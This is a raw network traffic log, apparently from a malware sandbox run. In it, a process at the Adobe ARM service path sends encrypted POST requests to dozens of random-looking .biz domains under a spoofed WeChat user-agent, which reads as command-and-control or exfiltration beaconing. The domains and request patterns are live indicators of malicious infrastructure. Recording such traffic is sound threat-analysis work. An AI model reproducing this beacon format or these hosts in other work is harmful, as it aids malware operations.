Oct 31, 2024 16:05:03.266331911 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:05:02 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.22	49243	3.254.94.185	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:54.934113026 CET	356	OUT	POST /uiiicwidndawfng HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: brsua.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:54.934124947 CET	850	OUT	Data Raw: 5e e8 e9 be a6 e9 9b c4 46 03 00 00 22 8f ea 99 20 9d b1 ae 80 46 4d 63 5d b2 8b d5 6d 76 2a b0 83 21 c0 09 63 2f ed 96 ef 45 88 93 26 b5 23 a7 87 2c 8b a0 12 21 03 f0 23 6a ad a4 23 79 1f 59 25 43 e8 d8 85 86 5d c5 b7 d9 5e 56 72 01 3d d4 57 9f Data Ascii: ^F" FMc]mv!c/E&#,!#j#yY%C]^Vr=W]oJ32=apP\dv\uPlC*&c@jkF,GaqW%F(&o:m7prx""$m!?(lgdIsbUMoHV$13@Pdl-oBX-EpEZ
Oct 31, 2024 16:04:55.871669054 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=54bf7cbf061cf529cf96b53c603a3115\|173.254.250.77\|1730387095\|1730387095\|0\|1\|0; path=/; domain=.brsua.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.22	49244	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:55.260788918 CET	355	OUT	POST /gwbpfryqcmocw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qaynky.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:55.260848045 CET	784	OUT	Data Raw: 66 e5 25 1f 33 5e 56 f8 04 03 00 00 65 89 83 2d 1d cf 3f bd 40 ad 5a 00 e4 37 3c 27 02 bb 25 10 d3 fe 42 7c af 06 60 50 56 d8 fb 5c f5 04 77 e2 f2 c5 71 e8 40 c6 cf d4 a9 02 a9 37 b0 c6 a1 ea b7 f4 e3 84 84 d2 d9 80 ea 8b 7a e3 73 de dc 98 2a fc Data Ascii: f%3^Ve-?@Z7<'%B\|`PV\wq@7zsn-uoU<er4iI)G[[NJQR^v,}+bpk_J}KD2nTcr=81a[ye&I.&XR
Oct 31, 2024 16:04:56.660336971 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e751dd9f4ba2586ef80ee8b785988476\|173.254.250.77\|1730387096\|1730387096\|0\|1\|0; path=/; domain=.qaynky.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.22	49245	85.214.228.140	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:55.892766953 CET	358	OUT	POST /rfoqubmdkrjinw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:55.892805099 CET	850	OUT	Data Raw: 1d e2 0c 10 aa 5c 76 88 46 03 00 00 01 f8 b0 56 98 de e6 a9 99 6a e7 eb 03 25 81 06 8f 4c 32 08 a2 b2 75 93 77 fb 78 8d e4 4d 2d 76 c1 67 bb 8a 0d 5e c7 ee 70 16 20 33 d8 10 08 9f 88 66 ab df 2a 47 2a 3d 05 5d 2d 59 cf ed 0b 25 70 2a 8f fb 48 b3 Data Ascii: \vFVj%L2uwxM-vg^p 3fG=]-Y%p*H:,DX0[P&WR-/Z%]QsmSCS[zWK]\G5#J{'?^J]Zez\|:'rawRFnxvT~=[>>O2Y#xx]I
Oct 31, 2024 16:04:56.762995005 CET	161	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.2 Date: Thu, 31 Oct 2024 15:04:56 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20
Oct 31, 2024 16:04:56.763021946 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.22	49246	44.221.84.105	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:56.675755978 CET	350	OUT	POST /vfxch HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bumxkqgxu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:56.675781965 CET	784	OUT	Data Raw: b4 c0 33 46 3a 87 15 39 04 03 00 00 fa 0d 28 ff 8a 1f 41 51 e4 9a e3 94 8d 09 3f 7e b2 a4 e7 84 97 7e 5a 0e 1d 86 3e d7 82 bb 3f 21 2d 11 b5 d3 23 b2 b7 43 46 8b 83 65 c9 4b ab d1 02 11 62 83 23 e2 6e 45 5e a8 1d 78 3c 86 b0 1e 51 40 fc d4 44 ed Data Ascii: 3F:9(AQ?~~Z>?!-#CFeKb#nE^x<Q@D39WMcFS@%jB_G\,lkN_U,`2]{.aGUsUBr\%[3yTmx,kvRuk^[d6&)2$>
Oct 31, 2024 16:04:57.345686913 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=75f20620c4721077b4b0345a48ff686e\|173.254.250.77\|1730387097\|1730387097\|0\|1\|0; path=/; domain=.bumxkqgxu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.22	49247	47.129.31.212	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:56.794114113 CET	349	OUT	POST /fkxlwi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oflybfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:56.794114113 CET	850	OUT	Data Raw: a5 31 e7 a4 01 a0 4d 98 46 03 00 00 dc 9b a0 7e f0 5e 3b 23 a3 de 48 c8 ab 0c f4 e7 98 07 7c 42 7f 87 1b ca 58 84 91 5b 12 b9 30 bb 85 b8 fe 88 a1 f0 eb 8b 2e a5 0a dc 17 7c a2 e0 f3 2d 8b 22 d4 bd 17 8f a1 96 f9 e9 48 e0 1e 2e 01 cf ef 94 a0 3c Data Ascii: 1MF~^;#H\|BX[0.\|-"H.<X#PSv~FIZVNtbN\|2O,@\S[$s-_;D<Uay5?%pW0u!Ib\|;fG^/<e\0{.3wR30.1fu
Oct 31, 2024 16:04:58.221772909 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a22158a8060bbb20cfa3eb51748b64f2\|173.254.250.77\|1730387097\|1730387097\|0\|1\|0; path=/; domain=.oflybfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.22	49248	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:57.651801109 CET	351	OUT	POST /picmadn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dwrqljrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:57.651992083 CET	784	OUT	Data Raw: d6 67 ce b9 42 b7 5a da 04 03 00 00 9e 8f 86 8f a7 f1 0a f2 0b e6 b7 f1 10 dc ec 86 3e 14 63 5b 11 f8 d0 58 23 e6 5a 0e 64 75 9f 97 2d 99 da fc 86 f4 8b f5 17 3d 18 49 f4 e7 2c 5a 8c f1 60 c2 03 08 f1 df c2 fd 25 c8 34 17 4f b7 ac 0f 9e c9 a1 7a Data Ascii: gBZ>c[X#Zdu-=I,Z`%4OzcDH:q/yB&ne0>Up})EUXXkWv-4{4.^*B/PVLXl=g~2SgN5-x:yMJn\|X
Oct 31, 2024 16:04:58.648849010 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7253d759b0bd3467d2c0382011e8dbb9\|173.254.250.77\|1730387098\|1730387098\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.22	49249	34.211.97.45	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:58.243942022 CET	349	OUT	POST /akdisqkh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yhqqc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:58.243983030 CET	850	OUT	Data Raw: 27 d3 78 c0 b1 35 94 e4 46 03 00 00 de d3 a0 eb 2a 40 05 4c d7 30 ee b7 89 f9 0c 11 00 64 77 15 2e 19 17 8d 93 63 73 82 82 66 c1 55 db 76 a4 30 e7 84 1f 04 93 42 eb 50 a3 46 65 2d 54 5a f6 db 77 fb 82 ef b6 57 da 1e 04 dd 4f e8 81 c0 55 96 72 d2 Data Ascii: 'x5F@L0dw.csfUv0BPFe-TZwWOUrXe]e_V>`1x{6n`Alcxg]BF6is4$E<D}hZClm-'NL{!%CoyhjLTQL-vQipRq9P[`p/T
Oct 31, 2024 16:04:59.137002945 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=496d27ca68181005bd80d6792945e32a\|173.254.250.77\|1730387098\|1730387098\|0\|1\|0; path=/; domain=.yhqqc.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.22	49250	35.164.78.200	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:58.711483002 CET	346	OUT	POST /tmdh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: nqwjmb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:58.711514950 CET	784	OUT	Data Raw: 93 48 ef d6 ff 98 87 b7 04 03 00 00 d5 18 6b c0 d1 c7 4b 39 63 2f d2 19 4e 00 0a 92 9e ff 67 90 cb c9 59 29 45 37 58 a9 c3 b1 58 3e 8f 12 57 61 74 b0 49 cb 9a eb 2f 54 cd 8f 44 07 e6 b3 14 a3 81 60 d4 1c e4 8d a6 de d4 cb 3e 00 6a 9a 20 67 e6 07 Data Ascii: HkK9c/NgY)E7XX>WatI/TD`>j g(v\,mKMi2jsYu\$B}dZc)ljy X%P<Sg8 m'B@(b\|9u5TEJ$4Ck0="_O=]j[46^ X3VZVP
Oct 31, 2024 16:04:59.544291019 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3a285ad89d84dc9621682ee72b263821\|173.254.250.77\|1730387099\|1730387099\|0\|1\|0; path=/; domain=.nqwjmb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.22	49251	47.129.31.212	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:59.251524925 CET	349	OUT	POST /ibltbnq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mnjmhp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:59.251550913 CET	850	OUT	Data Raw: 16 97 56 08 13 bd cd 23 46 03 00 00 34 c1 bb ba d4 9f 73 af 82 95 56 e9 39 47 74 4a 79 81 0f c7 c0 f7 d0 ca 18 3d ff 68 11 72 00 e9 8b ca 29 e1 0c 72 62 e3 77 57 cc eb ea b4 1a c7 bc 19 5c 58 c3 12 fe cc 2a 28 f6 97 01 f7 9c 5e 49 ce a9 b1 f4 fc Data Ascii: V#F4sV9GtJy=hr)rbwW\X(^I'!wJ 9KmlkXz4<jqm{nMBe35.kCc-P_)SN2L[HMNqo z+bj[-}YswWg~e
Oct 31, 2024 16:05:00.672641993 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=62f3708462a0aa32b638bc2117b54636\|173.254.250.77\|1730387100\|1730387100\|0\|1\|0; path=/; domain=.mnjmhp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.22	49252	3.94.10.34	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:59.647437096 CET	349	OUT	POST /cvyg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ytctnunms.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:59.647452116 CET	784	OUT	Data Raw: 83 25 cf 54 a8 b3 6e de 04 03 00 00 09 42 99 02 a1 6a cd 1a 48 8c 1f 4d 06 82 04 2c af c7 fa 6b 95 da c8 50 61 e2 db b1 fb dc cf 5e 25 1e 30 28 3e aa 39 3c df 91 e9 de c3 82 a5 9c 0f 65 45 90 76 67 47 5c 00 16 f8 6d 12 e9 d9 c7 be ae db 2b 93 4b Data Ascii: %TnBjHM,kPa^%0(>9<eEvgG\m+Kj2F6@'UK]%<WaID#+:>NP:twIy=mX@yGcGP _it>)Smz2q"F.r6e2?Lmm3N4\|@d
Oct 31, 2024 16:05:00.320964098 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4139750ac8800e73c025e95b2d27ae2b\|173.254.250.77\|1730387100\|1730387100\|0\|1\|0; path=/; domain=.ytctnunms.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.22	49253	18.208.156.248	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:00.875905037 CET	356	OUT	POST /cvnaryjxwio HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: opowhhece.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:00.875940084 CET	850	OUT	Data Raw: ca ce 64 ae dd 98 41 ac 46 03 00 00 e0 47 ef 46 69 2b 63 5c e0 df 68 9d ee 3f 4c 88 69 79 f8 cf 64 70 af 04 e1 0d 33 fc e5 55 f6 97 04 ef cf d7 11 01 3e 39 ea 62 b9 3d 7f 5d 02 6c 82 67 9d 6f 7e 70 6d f1 9b c2 7d 0f 74 9d ac bf b1 6c f6 78 98 87 Data Ascii: dAFGFi+c\h?Liydp3U>9b=]lgo~pm}tlxiC]+}`sM?NnL(&ibE/di0FVD\@,Z%?ZR{Kne%?5}8j`mV9`}+r;oVQ5l{Bv^&*-rh}w_Ii
Oct 31, 2024 16:05:01.541198015 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cf962a3421660c12541e8ef75018b925\|173.254.250.77\|1730387101\|1730387101\|0\|1\|0; path=/; domain=.opowhhece.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.22	49255	13.251.16.150	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:01.574070930 CET	358	OUT	POST /tavebjdgehrvtmrn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jdhhbs.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:01.574109077 CET	850	OUT	Data Raw: bf f4 4c cc 5d 6c 2e 89 46 03 00 00 e5 53 56 8f f9 43 64 9e 0c ee 20 9e 51 86 e9 84 5c c5 df 97 84 4d 9a 68 33 ad f5 58 a6 58 ce bd a3 9b 19 49 16 c9 e6 3a 33 9b 98 2f 3b e7 c1 5d 42 de 4b a8 c6 ed 6c 7a fc df 50 e6 61 e0 8b 4d de e4 65 1f 4f b3 Data Ascii: L]l.FSVCd Q\Mh3XXI:3/;]BKlzPaMeOnbE/#Vhn)Hc75hpf&e3P78F9BZ=UJ):[[u=amD/@tPv&=v6o<\|Js$`&z;.&
Oct 31, 2024 16:05:02.988312960 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=341746472f6d1c65c1334e267bdd73cb\|173.254.250.77\|1730387102\|1730387102\|0\|1\|0; path=/; domain=.jdhhbs.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.22	49256	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:01.764830112 CET	348	OUT	POST /tvs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oshhkdluh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:01.764830112 CET	784	OUT	Data Raw: 92 5f 43 a4 85 45 92 f0 04 03 00 00 3a 48 a1 35 7f f0 78 97 3b 4d a0 29 56 6e d2 57 b8 d2 26 e9 fd ad ab dd 90 e4 06 e6 19 e1 d6 e1 ef 12 d0 1a b8 6e 48 30 02 c4 49 1e b7 a2 4d 28 10 88 ef 0a aa 1d 21 2b 36 c0 79 35 e4 3a 5d a6 83 c5 78 30 6e ef Data Ascii: _CE:H5x;M)VnW&nH0IM(!+6y5:]x0noAY<s5&o[7lVud=\|-q[241cm}/."v-D[h{41ro/}L@kk*<+7C;hY.>
Oct 31, 2024 16:05:02.592302084 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8fafb501c6175210f7e3c7ca377df76f\|173.254.250.77\|1730387102\|1730387102\|0\|1\|0; path=/; domain=.oshhkdluh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.22	49257	34.246.200.160	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:03.547226906 CET	346	OUT	POST /c HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mgmsclkyu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:03.547305107 CET	850	OUT	Data Raw: d0 5e c5 88 c7 24 ac 6a 46 03 00 00 65 09 8d 89 57 3e d5 58 49 23 f7 10 aa a9 d8 4f 04 65 4f ba b5 f1 f8 ff fa ae 15 3e 69 16 eb 22 14 cb e3 50 ad 81 bb eb dc 42 f8 67 d1 83 0b a5 01 ed c3 6e e7 51 4b 9a 47 3a aa 58 a6 8f cd 76 f7 a4 77 6c ad 46 Data Ascii: ^$jFeW>XI#OeO>i"PBgnQKG:XvwlF;U-[n>4rDx4>pUP(/>?IYeNvf<t`12>\|$!Xlh=SxN4t<la@u4flCDpwc"
Oct 31, 2024 16:05:04.512159109 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8f470b9b28e96f5987f7db14633497ee\|173.254.250.77\|1730387104\|1730387104\|0\|1\|0; path=/; domain=.mgmsclkyu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.22	49258	34.211.97.45	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:03.547600985 CET	345	OUT	POST /vwvr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jpskm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
